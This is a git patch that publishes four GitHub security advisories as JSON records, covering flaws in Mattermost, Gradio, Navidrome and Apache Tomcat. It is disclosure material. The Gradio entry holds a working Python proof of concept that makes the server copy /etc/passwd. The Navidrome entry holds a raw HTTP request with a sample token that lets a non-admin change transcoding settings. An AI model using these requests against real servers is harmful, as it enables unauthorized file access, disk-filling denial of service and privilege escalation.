From cfd5d6d719566518acd4eb3b00968f365e6c44c6 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Thu, 29 May 2025 22:38:34 +0000 Subject: [PATCH] Publish Advisories GHSA-4mmr-2w8p-whcr GHSA-8jw3-6x8j-v96g GHSA-f238-rggp-82m3 GHSA-h2fw-rfh5-95r3 GHSA-4mmr-2w8p-whcr GHSA-h2fw-rfh5-95r3 --- .../GHSA-4mmr-2w8p-whcr.json | 141 +++++++++++++ .../GHSA-8jw3-6x8j-v96g.json | 57 ++++++ .../GHSA-f238-rggp-82m3.json | 68 +++++++ .../GHSA-h2fw-rfh5-95r3.json | 192 ++++++++++++++++++ .../GHSA-4mmr-2w8p-whcr.json | 36 ---- .../GHSA-h2fw-rfh5-95r3.json | 31 --- 6 files changed, 458 insertions(+), 67 deletions(-) create mode 100644 advisories/github-reviewed/2025/05/GHSA-4mmr-2w8p-whcr/GHSA-4mmr-2w8p-whcr.json create mode 100644 advisories/github-reviewed/2025/05/GHSA-8jw3-6x8j-v96g/GHSA-8jw3-6x8j-v96g.json create mode 100644 advisories/github-reviewed/2025/05/GHSA-f238-rggp-82m3/GHSA-f238-rggp-82m3.json create mode 100644 advisories/github-reviewed/2025/05/GHSA-h2fw-rfh5-95r3/GHSA-h2fw-rfh5-95r3.json delete mode 100644 advisories/unreviewed/2025/05/GHSA-4mmr-2w8p-whcr/GHSA-4mmr-2w8p-whcr.json delete mode 100644 advisories/unreviewed/2025/05/GHSA-h2fw-rfh5-95r3/GHSA-h2fw-rfh5-95r3.json diff --git a/advisories/github-reviewed/2025/05/GHSA-4mmr-2w8p-whcr/GHSA-4mmr-2w8p-whcr.json b/advisories/github-reviewed/2025/05/GHSA-4mmr-2w8p-whcr/GHSA-4mmr-2w8p-whcr.json new file mode 100644 index 00000000000..65b743e5bfd --- /dev/null +++ b/advisories/github-reviewed/2025/05/GHSA-4mmr-2w8p-whcr/GHSA-4mmr-2w8p-whcr.json @@ -0,0 +1,141 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4mmr-2w8p-whcr", + "modified": "2025-05-29T22:37:07Z", + "published": "2025-05-29T18:31:19Z", + "aliases": [ + "CVE-2025-3913" + ], + "summary": "Mattermost improperly allows team administrators to modify team invites", + "details": "Mattermost versions 10.7.x <= 10.7.0, 10.6.x <= 10.6.2, 10.5.x <= 10.5.3, 9.11.x <= 9.11.12 fail to properly validate permissions when changing team privacy settings, allowing team administrators without the 'invite user' permission to access and modify team invite IDs via the /api/v4/teams/:teamId/privacy endpoint.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/mattermost/mattermost/server/v8" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "10.7.0-rc1" + }, + { + "fixed": "10.7.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/mattermost/mattermost/server/v8" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "10.6.0-rc1" + }, + { + "fixed": "10.6.3" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/mattermost/mattermost/server/v8" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "10.5.0-rc1" + }, + { + "fixed": "10.5.4" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/mattermost/mattermost/server/v8" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "9.0.0-rc1" + }, + { + "fixed": "9.11.13" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/mattermost/mattermost/server/v8" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "8.0.0-20250412152950-02c76784380a" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3913" + }, + { + "type": "WEB", + "url": "https://github.com/mattermost/mattermost/commit/02c76784380acb6802601bd24c205553b9a5a1be" + }, + { + "type": "PACKAGE", + "url": "https://github.com/mattermost/mattermost" + }, + { + "type": "WEB", + "url": "https://mattermost.com/security-updates" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-863" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-05-29T22:37:07Z", + "nvd_published_at": "2025-05-29T16:15:39Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/05/GHSA-8jw3-6x8j-v96g/GHSA-8jw3-6x8j-v96g.json b/advisories/github-reviewed/2025/05/GHSA-8jw3-6x8j-v96g/GHSA-8jw3-6x8j-v96g.json new file mode 100644 index 00000000000..f5f67ea160a --- /dev/null +++ b/advisories/github-reviewed/2025/05/GHSA-8jw3-6x8j-v96g/GHSA-8jw3-6x8j-v96g.json @@ -0,0 +1,57 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-8jw3-6x8j-v96g", + "modified": "2025-05-29T22:36:59Z", + "published": "2025-05-29T22:36:59Z", + "aliases": [ + "CVE-2025-48889" + ], + "summary": "Gradio Allows Unauthorized File Copy via Path Manipulation", + "details": "An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.\n\n### Description\nThe flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the `/gradio_api/run/predict` endpoint to trigger these file copies.\n\n**Source**: User-controlled `path` parameter in the flagging functionality JSON payload \n**Sink**: `shutil.copy` operation in `FileData._copy_to_dir()` method\n\nThe vulnerable code flow:\n1. A JSON payload is sent to the `/gradio_api/run/predict` endpoint\n2. The `path` field within `FileData` object can reference any file on the system\n3. When processing this request, the `Component.flag()` method creates a `GradioDataModel` object\n4. The `FileData._copy_to_dir()` method uses this path without proper validation:\n\n```python\ndef _copy_to_dir(self, dir: str) -> FileData:\n pathlib.Path(dir).mkdir(exist_ok=True)\n new_obj = dict(self)\n\n if not self.path:\n raise ValueError(\"Source file path is not set\")\n new_name = shutil.copy(self.path, dir) # vulnerable sink\n new_obj[\"path\"] = new_name\n return self.__class__(**new_obj)\n```\n5. The lack of validation allows copying any file the Gradio process can read\n\n### PoC\nThe following script demonstrates the vulnerability by copying `/etc/passwd` from the server to Gradio's flagged directory:\n\n\nSetup a Gradio app:\n\n```python\nimport gradio as gr\n\ndef image_classifier(inp):\n return {'cat': 0.2, 'dog': 0.8}\n\ntest = gr.Interface(fn=image_classifier, inputs=\"image\", outputs=\"label\")\n\ntest.launch(share=True)\n```\n\nRun the PoC:\n\n```python\nimport requests\n\nurl = \"https://[your-gradio-app-url]/gradio_api/run/predict\" \nheaders = {\n \"Content-Type\": \"application/json\", \n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36\" \n}\n\npayload = {\n \"data\": [\n {\n \"path\": \"/etc/passwd\", \n \"url\": \"[your-gradio-app-url]\",\n \"orig_name\": \"network_config\", \n \"size\": 5000, \n \"mime_type\": \"text/plain\", \n \"meta\": {\n \"_type\": \"gradio.FileData\" \n }\n },\n {} \n ],\n \"event_data\": None,\n \"fn_index\": 4, \n \"trigger_id\": 11, \n \"session_hash\": \"test123\" \n}\n\nresponse = requests.post(url, headers=headers, json=payload)\nprint(f\"Status Code: {response.status_code}\")\nprint(f\"Response Body: {response.text}\")\n```", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "gradio" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "5.31.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gradio-app/gradio/security/advisories/GHSA-8jw3-6x8j-v96g" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gradio-app/gradio" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-434" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2025-05-29T22:36:59Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/05/GHSA-f238-rggp-82m3/GHSA-f238-rggp-82m3.json b/advisories/github-reviewed/2025/05/GHSA-f238-rggp-82m3/GHSA-f238-rggp-82m3.json new file mode 100644 index 00000000000..174183af94f --- /dev/null +++ b/advisories/github-reviewed/2025/05/GHSA-f238-rggp-82m3/GHSA-f238-rggp-82m3.json @@ -0,0 +1,68 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-f238-rggp-82m3", + "modified": "2025-05-29T22:36:49Z", + "published": "2025-05-29T22:36:49Z", + "aliases": [ + "CVE-2025-48948" + ], + "summary": "Navidrome Transcoding Permission Bypass Vulnerability Report", + "details": "### Summary\nA permission verification flaw in Navidrome allows any authenticated regular user to bypass authorization checks and perform administrator-only transcoding configuration operations, including creating, modifying, and deleting transcoding settings.\n\n### Details\nNavidrome supports transcoding functionality which, although disabled by default, should restrict configuration operations to administrators only. However, the application fails to properly validate whether a user has administrative privileges when handling transcoding configuration requests.\n\nThe vulnerability exists in the API endpoints that manage transcoding settings. When a regular user sends requests to these endpoints, the application processes them without verifying if the user has administrative privileges, despite the JWT token clearly indicating the user is not an administrator (`\"adm\":false`).\n\nThe affected endpoints include:\n- `POST /api/transcoding` (Create transcoding configuration)\n- `PUT /api/transcoding/:id` (Update transcoding configuration)\n- `DELETE /api/transcoding/:id` (Delete transcoding configuration)\n- `GET /api/transcoding` (List transcoding configurations)\n\n### PoC\n1. Set up Navidrome with transcoding enabled\n2. Log in as a regular user (non-administrator)\n3. Send the following HTTP request:\n\n```\nPOST /api/transcoding HTTP/1.1\nHost: 192.168.199.134:4533\nContent-Length: 81\nx-nd-client-unique-id: e559d130-4295-401e-b65f-be7fdd564e\naccept: application/json\nx-nd-authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG0iOmZhbHNlLCJleHAiOjE3NDY2MzIyNDEsImlhdCI6MTc0NjQ1ODk5NiwiaXNzIjoiTkQiLCJzdWIiOiJ1c2VyMSIsInVpZCI6InV3THJGcWxXNHhnNEt4QjNxMk85eTYifQ.jqv2eESY8QTAHY-oLbBmO0v8IyDXrofvXqQgXSrJ6SM\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36\ncontent-type: application/json\nOrigin: http://192.168.199.134:4533\nReferer: http://192.168.199.134:4533/app/\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\n\n{\"defaultBitRate\":192,\"name\":\"trans6\",\"command\":\"tran6\",\"targetFormat\":\"tran6\"}\n```\n\n4. The request will succeed despite the JWT token clearly indicating the user is not an administrator (`\"adm\":false`)\n5. The same operation can be performed with administrator credentials, confirming that no authorization check is being performed\n\n### Impact\nThis vulnerability allows regular users to modify critical system configurations that should be restricted to administrators only. While Navidrome does not recommend enabling transcoding in production environments, when it is enabled, proper authorization checks should still be enforced.\n\nThe security impact includes:\n1. **Privilege Escalation**: Regular users can perform administrator-only actions\n2. **System Configuration Tampering**: Unauthorized users can modify transcoding settings, potentially affecting system performance or functionality\n3. **Potential Command Injection**: Since transcoding settings include command parameters, this could potentially lead to command injection if not properly sanitized\n\nIn the threat model where administrators are trusted but regular users are not, this vulnerability represents a significant security risk when transcoding is enabled.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/navidrome/navidrome" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.56.0" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 0.55.2" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/navidrome/navidrome/security/advisories/GHSA-f238-rggp-82m3" + }, + { + "type": "WEB", + "url": "https://github.com/navidrome/navidrome/pull/4096" + }, + { + "type": "WEB", + "url": "https://github.com/navidrome/navidrome/commit/e5438552c63fecb6284e1b179dddae91ede869c8" + }, + { + "type": "PACKAGE", + "url": "https://github.com/navidrome/navidrome" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-863" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-05-29T22:36:49Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/05/GHSA-h2fw-rfh5-95r3/GHSA-h2fw-rfh5-95r3.json b/advisories/github-reviewed/2025/05/GHSA-h2fw-rfh5-95r3/GHSA-h2fw-rfh5-95r3.json new file mode 100644 index 00000000000..3c447869e14 --- /dev/null +++ b/advisories/github-reviewed/2025/05/GHSA-h2fw-rfh5-95r3/GHSA-h2fw-rfh5-95r3.json @@ -0,0 +1,192 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-h2fw-rfh5-95r3", + "modified": "2025-05-29T22:37:22Z", + "published": "2025-05-29T21:31:37Z", + "aliases": [ + "CVE-2025-46701" + ], + "summary": "Apache Tomcat - CGI security constraint bypass", + "details": "Improper Handling of Case Sensitivity vulnerability in Apache Tomcat's GCI servlet allows security constraint bypass of security constraints that apply to the pathInfo component of a URI mapped to the CGI servlet.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.6, from 10.1.0-M1 through 10.1.40, from 9.0.0.M1 through 9.0.104.\n\nUsers are recommended to upgrade to version 11.0.7, 10.1.41 or 9.0.105, which fixes the issue.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/U:Clear" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "org.apache.tomcat:tomcat-catalina" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "9.0.0.M1" + }, + { + "fixed": "9.0.105" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Maven", + "name": "org.apache.tomcat:tomcat-catalina" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "10.1.0-M1" + }, + { + "fixed": "10.1.41" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Maven", + "name": "org.apache.tomcat:tomcat-catalina" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "11.0.0-M1" + }, + { + "fixed": "11.0.7" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Maven", + "name": "org.apache.tomcat.embed:tomcat-embed-core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "9.0.0.M1" + }, + { + "fixed": "9.0.105" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Maven", + "name": "org.apache.tomcat.embed:tomcat-embed-core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "10.1.0-M1" + }, + { + "fixed": "10.1.41" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Maven", + "name": "org.apache.tomcat.embed:tomcat-embed-core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "11.0.0-M1" + }, + { + "fixed": "11.0.7" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46701" + }, + { + "type": "WEB", + "url": "https://github.com/apache/tomcat/commit/0f01966eb60015d975525019e12a087f05ebf01a" + }, + { + "type": "WEB", + "url": "https://github.com/apache/tomcat/commit/238d2aa54b99f91d1111467e2237d2244c64e558" + }, + { + "type": "WEB", + "url": "https://github.com/apache/tomcat/commit/2c6800111e7d8d8d5403c07978ea9bff3db5a5a5" + }, + { + "type": "WEB", + "url": "https://github.com/apache/tomcat/commit/8cb95ff03221067c511b3fa66d4f745bc4b0a605" + }, + { + "type": "WEB", + "url": "https://github.com/apache/tomcat/commit/8df00018a252baa9497615d6420fb6c10466fa74" + }, + { + "type": "WEB", + "url": "https://github.com/apache/tomcat/commit/fab7247d2f0e3a29d5daef565f829f383e10e5e2" + }, + { + "type": "PACKAGE", + "url": "https://github.com/apache/tomcat" + }, + { + "type": "WEB", + "url": "https://lists.apache.org/thread/xhqqk9w5q45srcdqhogdk04lhdscv30j" + }, + { + "type": "WEB", + "url": "https://tomcat.apache.org/security-10.html#Fixed_in_Apache_Tomcat_10.1.41" + }, + { + "type": "WEB", + "url": "https://tomcat.apache.org/security-11.html#Fixed_in_Apache_Tomcat_11.0.7" + }, + { + "type": "WEB", + "url": "https://tomcat.apache.org/security-9.html#Fixed_in_Apache_Tomcat_9.0.105" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-178" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2025-05-29T22:37:21Z", + "nvd_published_at": "2025-05-29T19:15:27Z" + } +} \ No newline at end of file diff --git a/advisories/unreviewed/2025/05/GHSA-4mmr-2w8p-whcr/GHSA-4mmr-2w8p-whcr.json b/advisories/unreviewed/2025/05/GHSA-4mmr-2w8p-whcr/GHSA-4mmr-2w8p-whcr.json deleted file mode 100644 index c09557ecfc6..00000000000 --- a/advisories/unreviewed/2025/05/GHSA-4mmr-2w8p-whcr/GHSA-4mmr-2w8p-whcr.json +++ /dev/null @@ -1,36 +0,0 @@ -{ - "schema_version": "1.4.0", - "id": "GHSA-4mmr-2w8p-whcr", - "modified": "2025-05-29T18:31:19Z", - "published": "2025-05-29T18:31:19Z", - "aliases": [ - "CVE-2025-3913" - ], - "details": "Mattermost versions 10.7.x <= 10.7.0, 10.6.x <= 10.6.2, 10.5.x <= 10.5.3, 9.11.x <= 9.11.12 fail to properly validate permissions when changing team privacy settings, allowing team administrators without the 'invite user' permission to access and modify team invite IDs via the /api/v4/teams/:teamId/privacy endpoint.", - "severity": [ - { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" - } - ], - "affected": [], - "references": [ - { - "type": "ADVISORY", - "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3913" - }, - { - "type": "WEB", - "url": "https://mattermost.com/security-updates" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-863" - ], - "severity": "MODERATE", - "github_reviewed": false, - "github_reviewed_at": null, - "nvd_published_at": "2025-05-29T16:15:39Z" - } -} \ No newline at end of file diff --git a/advisories/unreviewed/2025/05/GHSA-h2fw-rfh5-95r3/GHSA-h2fw-rfh5-95r3.json b/advisories/unreviewed/2025/05/GHSA-h2fw-rfh5-95r3/GHSA-h2fw-rfh5-95r3.json deleted file mode 100644 index 259cba9a950..00000000000 --- a/advisories/unreviewed/2025/05/GHSA-h2fw-rfh5-95r3/GHSA-h2fw-rfh5-95r3.json +++ /dev/null @@ -1,31 +0,0 @@ -{ - "schema_version": "1.4.0", - "id": "GHSA-h2fw-rfh5-95r3", - "modified": "2025-05-29T21:31:37Z", - "published": "2025-05-29T21:31:37Z", - "aliases": [ - "CVE-2025-46701" - ], - "details": "Improper Handling of Case Sensitivity vulnerability in Apache Tomcat's GCI servlet allows security constraint bypass of security constraints that apply to the pathInfo component of a URI mapped to the CGI servlet.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.6, from 10.1.0-M1 through 10.1.40, from 9.0.0.M1 through 9.0.104.\n\nUsers are recommended to upgrade to version 11.0.7, 10.1.41 or 9.0.105, which fixes the issue.", - "severity": [], - "affected": [], - "references": [ - { - "type": "ADVISORY", - "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46701" - }, - { - "type": "WEB", - "url": "https://lists.apache.org/thread/xhqqk9w5q45srcdqhogdk04lhdscv30j" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-178" - ], - "severity": null, - "github_reviewed": false, - "github_reviewed_at": null, - "nvd_published_at": "2025-05-29T19:15:27Z" - } -} \ No newline at end of file